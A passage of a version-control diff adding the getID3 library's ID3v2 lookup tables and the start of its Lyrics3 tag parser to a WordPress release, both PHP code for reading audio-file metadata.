+			0x05 => 'chord',              // (e.g. 'Bb F Fsus')
+			0x06 => 'trivia/\'pop up\' information',
+			0x07 => 'URLs to webpages',
+			0x08 => 'URLs to images'
+		);
+
+		return (isset($SYTLContentTypeLookup[$index]) ? $SYTLContentTypeLookup[$index] : '');
+	}
+
+	public static function APICPictureTypeLookup($index, $returnarray=false) {
+		static $APICPictureTypeLookup = array(
+			0x00 => 'Other',
+			0x01 => '32x32 pixels \'file icon\' (PNG only)',
+			0x02 => 'Other file icon',
+			0x03 => 'Cover (front)',
+			0x04 => 'Cover (back)',
+			0x05 => 'Leaflet page',
+			0x06 => 'Media (e.g. label side of CD)',
+			0x07 => 'Lead artist/lead performer/soloist',
+			0x08 => 'Artist/performer',
+			0x09 => 'Conductor',
+			0x0A => 'Band/Orchestra',
+			0x0B => 'Composer',
+			0x0C => 'Lyricist/text writer',
+			0x0D => 'Recording Location',
+			0x0E => 'During recording',
+			0x0F => 'During performance',
+			0x10 => 'Movie/video screen capture',
+			0x11 => 'A bright coloured fish',
+			0x12 => 'Illustration',
+			0x13 => 'Band/artist logotype',
+			0x14 => 'Publisher/Studio logotype'
+		);
+		if ($returnarray) {
+			return $APICPictureTypeLookup;
+		}
+		return (isset($APICPictureTypeLookup[$index]) ? $APICPictureTypeLookup[$index] : '');
+	}
+
+	public static function COMRReceivedAsLookup($index) {
+		static $COMRReceivedAsLookup = array(
+			0x00 => 'Other',
+			0x01 => 'Standard CD album with other songs',
+			0x02 => 'Compressed audio on CD',
+			0x03 => 'File over the Internet',
+			0x04 => 'Stream over the Internet',
+			0x05 => 'As note sheets',
+			0x06 => 'As note sheets in a book with other sheets',
+			0x07 => 'Music on other media',
+			0x08 => 'Non-musical merchandise'
+		);
+
+		return (isset($COMRReceivedAsLookup[$index]) ? $COMRReceivedAsLookup[$index] : '');
+	}
+
+	public static function RVA2ChannelTypeLookup($index) {
+		static $RVA2ChannelTypeLookup = array(
+			0x00 => 'Other',
+			0x01 => 'Master volume',
+			0x02 => 'Front right',
+			0x03 => 'Front left',
+			0x04 => 'Back right',
+			0x05 => 'Back left',
+			0x06 => 'Front centre',
+			0x07 => 'Back centre',
+			0x08 => 'Subwoofer'
+		);
+
+		return (isset($RVA2ChannelTypeLookup[$index]) ? $RVA2ChannelTypeLookup[$index] : '');
+	}
+
+	public static function FrameNameLongLookup($framename) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			AENC	Audio encryption
+			APIC	Attached picture
+			ASPI	Audio seek point index
+			BUF	Recommended buffer size
+			CNT	Play counter
+			COM	Comments
+			COMM	Comments
+			COMR	Commercial frame
+			CRA	Audio encryption
+			CRM	Encrypted meta frame
+			ENCR	Encryption method registration
+			EQU	Equalisation
+			EQU2	Equalisation (2)
+			EQUA	Equalisation
+			ETC	Event timing codes
+			ETCO	Event timing codes
+			GEO	General encapsulated object
+			GEOB	General encapsulated object
+			GRID	Group identification registration
+			IPL	Involved people list
+			IPLS	Involved people list
+			LINK	Linked information
+			LNK	Linked information
+			MCDI	Music CD identifier
+			MCI	Music CD Identifier
+			MLL	MPEG location lookup table
+			MLLT	MPEG location lookup table
+			OWNE	Ownership frame
+			PCNT	Play counter
+			PIC	Attached picture
+			POP	Popularimeter
+			POPM	Popularimeter
+			POSS	Position synchronisation frame
+			PRIV	Private frame
+			RBUF	Recommended buffer size
+			REV	Reverb
+			RVA	Relative volume adjustment
+			RVA2	Relative volume adjustment (2)
+			RVAD	Relative volume adjustment
+			RVRB	Reverb
+			SEEK	Seek frame
+			SIGN	Signature frame
+			SLT	Synchronised lyric/text
+			STC	Synced tempo codes
+			SYLT	Synchronised lyric/text
+			SYTC	Synchronised tempo codes
+			TAL	Album/Movie/Show title
+			TALB	Album/Movie/Show title
+			TBP	BPM (Beats Per Minute)
+			TBPM	BPM (beats per minute)
+			TCM	Composer
+			TCMP	Part of a compilation
+			TCO	Content type
+			TCOM	Composer
+			TCON	Content type
+			TCOP	Copyright message
+			TCP	Part of a compilation
+			TCR	Copyright message
+			TDA	Date
+			TDAT	Date
+			TDEN	Encoding time
+			TDLY	Playlist delay
+			TDOR	Original release time
+			TDRC	Recording time
+			TDRL	Release time
+			TDTG	Tagging time
+			TDY	Playlist delay
+			TEN	Encoded by
+			TENC	Encoded by
+			TEXT	Lyricist/Text writer
+			TFLT	File type
+			TFT	File type
+			TIM	Time
+			TIME	Time
+			TIPL	Involved people list
+			TIT1	Content group description
+			TIT2	Title/songname/content description
+			TIT3	Subtitle/Description refinement
+			TKE	Initial key
+			TKEY	Initial key
+			TLA	Language(s)
+			TLAN	Language(s)
+			TLE	Length
+			TLEN	Length
+			TMCL	Musician credits list
+			TMED	Media type
+			TMOO	Mood
+			TMT	Media type
+			TOA	Original artist(s)/performer(s)
+			TOAL	Original album/movie/show title
+			TOF	Original filename
+			TOFN	Original filename
+			TOL	Original Lyricist(s)/text writer(s)
+			TOLY	Original lyricist(s)/text writer(s)
+			TOPE	Original artist(s)/performer(s)
+			TOR	Original release year
+			TORY	Original release year
+			TOT	Original album/Movie/Show title
+			TOWN	File owner/licensee
+			TP1	Lead artist(s)/Lead performer(s)/Soloist(s)/Performing group
+			TP2	Band/Orchestra/Accompaniment
+			TP3	Conductor/Performer refinement
+			TP4	Interpreted, remixed, or otherwise modified by
+			TPA	Part of a set
+			TPB	Publisher
+			TPE1	Lead performer(s)/Soloist(s)
+			TPE2	Band/orchestra/accompaniment
+			TPE3	Conductor/performer refinement
+			TPE4	Interpreted, remixed, or otherwise modified by
+			TPOS	Part of a set
+			TPRO	Produced notice
+			TPUB	Publisher
+			TRC	ISRC (International Standard Recording Code)
+			TRCK	Track number/Position in set
+			TRD	Recording dates
+			TRDA	Recording dates
+			TRK	Track number/Position in set
+			TRSN	Internet radio station name
+			TRSO	Internet radio station owner
+			TS2	Album-Artist sort order
+			TSA	Album sort order
+			TSC	Composer sort order
+			TSI	Size
+			TSIZ	Size
+			TSO2	Album-Artist sort order
+			TSOA	Album sort order
+			TSOC	Composer sort order
+			TSOP	Performer sort order
+			TSOT	Title sort order
+			TSP	Performer sort order
+			TSRC	ISRC (international standard recording code)
+			TSS	Software/hardware and settings used for encoding
+			TSSE	Software/Hardware and settings used for encoding
+			TSST	Set subtitle
+			TST	Title sort order
+			TT1	Content group description
+			TT2	Title/Songname/Content description
+			TT3	Subtitle/Description refinement
+			TXT	Lyricist/text writer
+			TXX	User defined text information frame
+			TXXX	User defined text information frame
+			TYE	Year
+			TYER	Year
+			UFI	Unique file identifier
+			UFID	Unique file identifier
+			ULT	Unsychronised lyric/text transcription
+			USER	Terms of use
+			USLT	Unsynchronised lyric/text transcription
+			WAF	Official audio file webpage
+			WAR	Official artist/performer webpage
+			WAS	Official audio source webpage
+			WCM	Commercial information
+			WCOM	Commercial information
+			WCOP	Copyright/Legal information
+			WCP	Copyright/Legal information
+			WOAF	Official audio file webpage
+			WOAR	Official artist/performer webpage
+			WOAS	Official audio source webpage
+			WORS	Official Internet radio station homepage
+			WPAY	Payment
+			WPB	Publishers official webpage
+			WPUB	Publishers official webpage
+			WXX	User defined URL link frame
+			WXXX	User defined URL link frame
+			TFEA	Featured Artist
+			TSTU	Recording Studio
+			rgad	Replay Gain Adjustment
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long');
+
+		// Last three:
+		// from Helium2 [www.helium2.com]
+		// from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
+	}
+
+
+	public static function FrameNameShortLookup($framename) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			AENC	audio_encryption
+			APIC	attached_picture
+			ASPI	audio_seek_point_index
+			BUF	recommended_buffer_size
+			CNT	play_counter
+			COM	comment
+			COMM	comment
+			COMR	commercial_frame
+			CRA	audio_encryption
+			CRM	encrypted_meta_frame
+			ENCR	encryption_method_registration
+			EQU	equalisation
+			EQU2	equalisation
+			EQUA	equalisation
+			ETC	event_timing_codes
+			ETCO	event_timing_codes
+			GEO	general_encapsulated_object
+			GEOB	general_encapsulated_object
+			GRID	group_identification_registration
+			IPL	involved_people_list
+			IPLS	involved_people_list
+			LINK	linked_information
+			LNK	linked_information
+			MCDI	music_cd_identifier
+			MCI	music_cd_identifier
+			MLL	mpeg_location_lookup_table
+			MLLT	mpeg_location_lookup_table
+			OWNE	ownership_frame
+			PCNT	play_counter
+			PIC	attached_picture
+			POP	popularimeter
+			POPM	popularimeter
+			POSS	position_synchronisation_frame
+			PRIV	private_frame
+			RBUF	recommended_buffer_size
+			REV	reverb
+			RVA	relative_volume_adjustment
+			RVA2	relative_volume_adjustment
+			RVAD	relative_volume_adjustment
+			RVRB	reverb
+			SEEK	seek_frame
+			SIGN	signature_frame
+			SLT	synchronised_lyric
+			STC	synced_tempo_codes
+			SYLT	synchronised_lyric
+			SYTC	synchronised_tempo_codes
+			TAL	album
+			TALB	album
+			TBP	bpm
+			TBPM	bpm
+			TCM	composer
+			TCMP	part_of_a_compilation
+			TCO	genre
+			TCOM	composer
+			TCON	genre
+			TCOP	copyright_message
+			TCP	part_of_a_compilation
+			TCR	copyright_message
+			TDA	date
+			TDAT	date
+			TDEN	encoding_time
+			TDLY	playlist_delay
+			TDOR	original_release_time
+			TDRC	recording_time
+			TDRL	release_time
+			TDTG	tagging_time
+			TDY	playlist_delay
+			TEN	encoded_by
+			TENC	encoded_by
+			TEXT	lyricist
+			TFLT	file_type
+			TFT	file_type
+			TIM	time
+			TIME	time
+			TIPL	involved_people_list
+			TIT1	content_group_description
+			TIT2	title
+			TIT3	subtitle
+			TKE	initial_key
+			TKEY	initial_key
+			TLA	language
+			TLAN	language
+			TLE	length
+			TLEN	length
+			TMCL	musician_credits_list
+			TMED	media_type
+			TMOO	mood
+			TMT	media_type
+			TOA	original_artist
+			TOAL	original_album
+			TOF	original_filename
+			TOFN	original_filename
+			TOL	original_lyricist
+			TOLY	original_lyricist
+			TOPE	original_artist
+			TOR	original_year
+			TORY	original_year
+			TOT	original_album
+			TOWN	file_owner
+			TP1	artist
+			TP2	band
+			TP3	conductor
+			TP4	remixer
+			TPA	part_of_a_set
+			TPB	publisher
+			TPE1	artist
+			TPE2	band
+			TPE3	conductor
+			TPE4	remixer
+			TPOS	part_of_a_set
+			TPRO	produced_notice
+			TPUB	publisher
+			TRC	isrc
+			TRCK	track_number
+			TRD	recording_dates
+			TRDA	recording_dates
+			TRK	track_number
+			TRSN	internet_radio_station_name
+			TRSO	internet_radio_station_owner
+			TS2	album_artist_sort_order
+			TSA	album_sort_order
+			TSC	composer_sort_order
+			TSI	size
+			TSIZ	size
+			TSO2	album_artist_sort_order
+			TSOA	album_sort_order
+			TSOC	composer_sort_order
+			TSOP	performer_sort_order
+			TSOT	title_sort_order
+			TSP	performer_sort_order
+			TSRC	isrc
+			TSS	encoder_settings
+			TSSE	encoder_settings
+			TSST	set_subtitle
+			TST	title_sort_order
+			TT1	content_group_description
+			TT2	title
+			TT3	subtitle
+			TXT	lyricist
+			TXX	text
+			TXXX	text
+			TYE	year
+			TYER	year
+			UFI	unique_file_identifier
+			UFID	unique_file_identifier
+			ULT	unsychronised_lyric
+			USER	terms_of_use
+			USLT	unsynchronised_lyric
+			WAF	url_file
+			WAR	url_artist
+			WAS	url_source
+			WCM	commercial_information
+			WCOM	commercial_information
+			WCOP	copyright
+			WCP	copyright
+			WOAF	url_file
+			WOAR	url_artist
+			WOAS	url_source
+			WORS	url_station
+			WPAY	url_payment
+			WPB	url_publisher
+			WPUB	url_publisher
+			WXX	url_user
+			WXXX	url_user
+			TFEA	featured_artist
+			TSTU	recording_studio
+			rgad	replay_gain_adjustment
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short');
+	}
+
+	public static function TextEncodingTerminatorLookup($encoding) {
+		// http://www.id3.org/id3v2.4.0-structure.txt
+		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
+		static $TextEncodingTerminatorLookup = array(
+			0   => "\x00",     // $00  ISO-8859-1. Terminated with $00.
+			1   => "\x00\x00", // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
+			2   => "\x00\x00", // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
+			3   => "\x00",     // $03  UTF-8 encoded Unicode. Terminated with $00.
+			255 => "\x00\x00"
+		);
+		return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00");
+	}
+
+	public static function TextEncodingNameLookup($encoding) {
+		// http://www.id3.org/id3v2.4.0-structure.txt
+		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
+		static $TextEncodingNameLookup = array(
+			0   => 'ISO-8859-1', // $00  ISO-8859-1. Terminated with $00.
+			1   => 'UTF-16',     // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
+			2   => 'UTF-16BE',   // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
+			3   => 'UTF-8',      // $03  UTF-8 encoded Unicode. Terminated with $00.
+			255 => 'UTF-16BE'
+		);
+		return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1');
+	}
+
+	public static function IsValidID3v2FrameName($framename, $id3v2majorversion) {
+		switch ($id3v2majorversion) {
+			case 2:
+				return preg_match('#[A-Z][A-Z0-9]{2}#', $framename);
+				break;
+
+			case 3:
+			case 4:
+				return preg_match('#[A-Z][A-Z0-9]{3}#', $framename);
+				break;
+		}
+		return false;
+	}
+
+	public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) {
+		for ($i = 0; $i < strlen($numberstring); $i++) {
+			if ((chr($numberstring{$i}) < chr('0')) || (chr($numberstring{$i}) > chr('9'))) {
+				if (($numberstring{$i} == '.') && $allowdecimal) {
+					// allowed
+				} elseif (($numberstring{$i} == '-') && $allownegative && ($i == 0)) {
+					// allowed
+				} else {
+					return false;
+				}
+			}
+		}
+		return true;
+	}
+
+	public static function IsValidDateStampString($datestamp) {
+		if (strlen($datestamp) != 8) {
+			return false;
+		}
+		if (!self::IsANumber($datestamp, false)) {
+			return false;
+		}
+		$year  = substr($datestamp, 0, 4);
+		$month = substr($datestamp, 4, 2);
+		$day   = substr($datestamp, 6, 2);
+		if (($year == 0) || ($month == 0) || ($day == 0)) {
+			return false;
+		}
+		if ($month > 12) {
+			return false;
+		}
+		if ($day > 31) {
+			return false;
+		}
+		if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) {
+			return false;
+		}
+		if (($day > 29) && ($month == 2)) {
+			return false;
+		}
+		return true;
+	}
+
+	public static function ID3v2HeaderLength($majorversion) {
+		return (($majorversion == 2) ? 6 : 10);
+	}
+
+	public static function ID3v22iTunesBrokenFrameName($frame_name) {
+		// iTunes (multiple versions) has been known to write ID3v2.3 style frames
+		// but use ID3v2.2 frame names, right-padded using either [space] or [null]
+		// to make them fit in the 4-byte frame name space of the ID3v2.3 frame.
+		// This function will detect and translate the corrupt frame name into ID3v2.3 standard.
+		static $ID3v22_iTunes_BrokenFrames = array(
+			'BUF' => 'RBUF', // Recommended buffer size
+			'CNT' => 'PCNT', // Play counter
+			'COM' => 'COMM', // Comments
+			'CRA' => 'AENC', // Audio encryption
+			'EQU' => 'EQUA', // Equalisation
+			'ETC' => 'ETCO', // Event timing codes
+			'GEO' => 'GEOB', // General encapsulated object
+			'IPL' => 'IPLS', // Involved people list
+			'LNK' => 'LINK', // Linked information
+			'MCI' => 'MCDI', // Music CD identifier
+			'MLL' => 'MLLT', // MPEG location lookup table
+			'PIC' => 'APIC', // Attached picture
+			'POP' => 'POPM', // Popularimeter
+			'REV' => 'RVRB', // Reverb
+			'RVA' => 'RVAD', // Relative volume adjustment
+			'SLT' => 'SYLT', // Synchronised lyric/text
+			'STC' => 'SYTC', // Synchronised tempo codes
+			'TAL' => 'TALB', // Album/Movie/Show title
+			'TBP' => 'TBPM', // BPM (beats per minute)
+			'TCM' => 'TCOM', // Composer
+			'TCO' => 'TCON', // Content type
+			'TCP' => 'TCMP', // Part of a compilation
+			'TCR' => 'TCOP', // Copyright message
+			'TDA' => 'TDAT', // Date
+			'TDY' => 'TDLY', // Playlist delay
+			'TEN' => 'TENC', // Encoded by
+			'TFT' => 'TFLT', // File type
+			'TIM' => 'TIME', // Time
+			'TKE' => 'TKEY', // Initial key
+			'TLA' => 'TLAN', // Language(s)
+			'TLE' => 'TLEN', // Length
+			'TMT' => 'TMED', // Media type
+			'TOA' => 'TOPE', // Original artist(s)/performer(s)
+			'TOF' => 'TOFN', // Original filename
+			'TOL' => 'TOLY', // Original lyricist(s)/text writer(s)
+			'TOR' => 'TORY', // Original release year
+			'TOT' => 'TOAL', // Original album/movie/show title
+			'TP1' => 'TPE1', // Lead performer(s)/Soloist(s)
+			'TP2' => 'TPE2', // Band/orchestra/accompaniment
+			'TP3' => 'TPE3', // Conductor/performer refinement
+			'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by
+			'TPA' => 'TPOS', // Part of a set
+			'TPB' => 'TPUB', // Publisher
+			'TRC' => 'TSRC', // ISRC (international standard recording code)
+			'TRD' => 'TRDA', // Recording dates
+			'TRK' => 'TRCK', // Track number/Position in set
+			'TS2' => 'TSO2', // Album-Artist sort order
+			'TSA' => 'TSOA', // Album sort order
+			'TSC' => 'TSOC', // Composer sort order
+			'TSI' => 'TSIZ', // Size
+			'TSP' => 'TSOP', // Performer sort order
+			'TSS' => 'TSSE', // Software/Hardware and settings used for encoding
+			'TST' => 'TSOT', // Title sort order
+			'TT1' => 'TIT1', // Content group description
+			'TT2' => 'TIT2', // Title/songname/content description
+			'TT3' => 'TIT3', // Subtitle/Description refinement
+			'TXT' => 'TEXT', // Lyricist/Text writer
+			'TXX' => 'TXXX', // User defined text information frame
+			'TYE' => 'TYER', // Year
+			'UFI' => 'UFID', // Unique file identifier
+			'ULT' => 'USLT', // Unsynchronised lyric/text transcription
+			'WAF' => 'WOAF', // Official audio file webpage
+			'WAR' => 'WOAR', // Official artist/performer webpage
+			'WAS' => 'WOAS', // Official audio source webpage
+			'WCM' => 'WCOM', // Commercial information
+			'WCP' => 'WCOP', // Copyright/Legal information
+			'WPB' => 'WPUB', // Publishers official webpage
+			'WXX' => 'WXXX', // User defined URL link frame
+		);
+		if (strlen($frame_name) == 4) {
+			if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) {
+				if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) {
+					return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)];
+				}
+			}
+		}
+		return false;
+	}
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.tag.lyrics3.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.tag.lyrics3.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.tag.lyrics3.php	(revision 56912)
@@ -0,0 +1,298 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+///                                                            //
+// module.tag.lyrics3.php                                      //
+// module for analyzing Lyrics3 tags                           //
+// dependencies: module.tag.apetag.php (optional)              //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+
+class getid3_lyrics3 extends getid3_handler
+{
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		// http://www.volweb.cz/str/tags.htm
+
+		if (!getid3_lib::intValueSupported($info['filesize'])) {
+			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
+			return false;
+		}
+
+		$this->fseek((0 - 128 - 9 - 6), SEEK_END);          // end - ID3v1 - "LYRICSEND" - [Lyrics3size]
+		$lyrics3_id3v1 = $this->fread(128 + 9 + 6);
+		$lyrics3lsz    = substr($lyrics3_id3v1,  0,   6); // Lyrics3size
+		$lyrics3end    = substr($lyrics3_id3v1,  6,   9); // LYRICSEND or LYRICS200
+		$id3v1tag      = substr($lyrics3_id3v1, 15, 128); // ID3v1
+
+		if ($lyrics3end == 'LYRICSEND') {
+			// Lyrics3v1, ID3v1, no APE
+
+			$lyrics3size    = 5100;
+			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
+			$lyrics3version = 1;
+
+		} elseif ($lyrics3end == 'LYRICS200') {
+			// Lyrics3v2, ID3v1, no APE
+
+			// LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
+			$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200');
+			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
+			$lyrics3version = 2;
+
+		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) {
+			// Lyrics3v1, no ID3v1, no APE
+
+			$lyrics3size    = 5100;
+			$lyrics3offset  = $info['filesize'] - $lyrics3size;
+			$lyrics3version = 1;
+			$lyrics3offset  = $info['filesize'] - $lyrics3size;
+
+		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) {
+
+			// Lyrics3v2, no ID3v1, no APE
+
+			$lyrics3size    = strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
+			$lyrics3offset  = $info['filesize'] - $lyrics3size;
+			$lyrics3version = 2;
+
+		} else {
+
+			if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) {
+
+				$this->fseek($info['ape']['tag_offset_start'] - 15);
+				$lyrics3lsz = $this->fread(6);
+				$lyrics3end = $this->fread(9);
+
+				if ($lyrics3end == 'LYRICSEND') {
+					// Lyrics3v1, APE, maybe ID3v1
+
+					$lyrics3size    = 5100;
+					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
+					$info['avdataend'] = $lyrics3offset;
+					$lyrics3version = 1;
+					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');
+
+				} elseif ($lyrics3end == 'LYRICS200') {
+					// Lyrics3v2, APE, maybe ID3v1
+
+					$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
+					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
+					$lyrics3version = 2;
+					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');
+
+				}
+
+			}
+
+		}
+
+		if (isset($lyrics3offset)) {
+			$info['avdataend'] = $lyrics3offset;
+			$this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size);
+
+			if (!isset($info['ape'])) {
+				if (isset($info['lyrics3']['tag_offset_start'])) {
+					$GETID3_ERRORARRAY = &$info['warning'];
+					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true);
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_apetag = new getid3_apetag($getid3_temp);
+					$getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start'];
+					$getid3_apetag->Analyze();
+					if (!empty($getid3_temp->info['ape'])) {
+						$info['ape'] = $getid3_temp->info['ape'];
+					}
+					if (!empty($getid3_temp->info['replay_gain'])) {
+						$info['replay_gain'] = $getid3_temp->info['replay_gain'];
+					}
+					unset($getid3_temp, $getid3_apetag);
+				} else {
+					$this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)');
+				}
+			}
+
+		}
+
+		return true;
+	}
+
+	public function getLyrics3Data($endoffset, $version, $length) {
+		// http://www.volweb.cz/str/tags.htm
+
+		$info = &$this->getid3->info;
+
+		if (!getid3_lib::intValueSupported($endoffset)) {
+			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
+			return false;
+		}
+
+		$this->fseek($endoffset);
+		if ($length <= 0) {
+			return false;
+		}
+		$rawdata = $this->fread($length);
+
+		$ParsedLyrics3['raw']['lyrics3version'] = $version;
+		$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
+		$ParsedLyrics3['tag_offset_start']      = $endoffset;
+		$ParsedLyrics3['tag_offset_end']        = $endoffset + $length - 1;
+
+		if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') {
+			if (strpos($rawdata, 'LYRICSBEGIN') !== false) {
+
+				$this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version);
+				$info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN');
+				$rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN'));
+				$length = strlen($rawdata);
+				$ParsedLyrics3['tag_offset_start'] = $info['avdataend'];
+				$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
+
+			} else {
+
+				$this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead');
+				return false;
+
+			}
+
+		}
+
+		switch ($version) {
+
+			case 1:
+				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') {
+					$ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9));
+					$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
+				} else {
+					$this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
+					return false;
+				}
+				break;
+
+			case 2:
+				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') {
+					$ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ
+					$rawdata = $ParsedLyrics3['raw']['unparsed'];
+					while (strlen($rawdata) > 0) {
+						$fieldname = substr($rawdata, 0, 3);
+						$fieldsize = (int) substr($rawdata, 3, 5);
+						$ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize);
+						$rawdata = substr($rawdata, 3 + 5 + $fieldsize);
+					}
+
+					if (isset($ParsedLyrics3['raw']['IND'])) {
+						$i = 0;
+						$flagnames = array('lyrics', 'timestamps', 'inhibitrandom');
+						foreach ($flagnames as $flagname) {
+							if (strlen($ParsedLyrics3['raw']['IND']) > $i++) {
+								$ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1));
+							}
+						}
+					}
+
+					$fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author');
+					foreach ($fieldnametranslation as $key => $value) {
+						if (isset($ParsedLyrics3['raw'][$key])) {
+							$ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]);
+						}
+					}
+
+					if (isset($ParsedLyrics3['raw']['IMG'])) {
+						$imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']);
+						foreach ($imagestrings as $key => $imagestring) {
+							if (strpos($imagestring, '||') !== false) {
+								$imagearray = explode('||', $imagestring);
+								$ParsedLyrics3['images'][$key]['filename']     =                                (isset($imagearray[0]) ? $imagearray[0] : '');
+								$ParsedLyrics3['images'][$key]['description']  =                                (isset($imagearray[1]) ? $imagearray[1] : '');
+								$ParsedLyrics3['images'][$key]['timestamp']    = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : '');
+							}
+						}
+					}
+					if (isset($ParsedLyrics3['raw']['LYR'])) {
+						$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
+					}
+				} else {
+					$this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
+					return false;
+				}
+				break;
+
+			default:
+				$this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)');
+				return false;
+				break;
+		}
+
+
+		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) {
+			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data');
+			unset($info['id3v1']);
+			foreach ($info['warning'] as $key => $value) {
+				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
+					unset($info['warning'][$key]);
+					sort($info['warning']);
+					break;
+				}
+			}
+		}
+
+		$info['lyrics3'] = $ParsedLyrics3;
+
+		return true;
+	}
+
+	public function Lyrics3Timestamp2Seconds($rawtimestamp) {
+		if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) {
+			return (int) (($regs[1] * 60) + $regs[2]);
+		}
+		return false;
+	}
+
+	public function Lyrics3LyricsTimestampParse(&$Lyrics3data) {
+		$lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']);
+		foreach ($lyricsarray as $key => $lyricline) {
+			$regs = array();
+			unset($thislinetimestamps);
+			while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) {
+				$thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]);
+				$lyricline = str_replace($regs[0], '', $lyricline);
+			}
+			$notimestamplyricsarray[$key] = $lyricline;
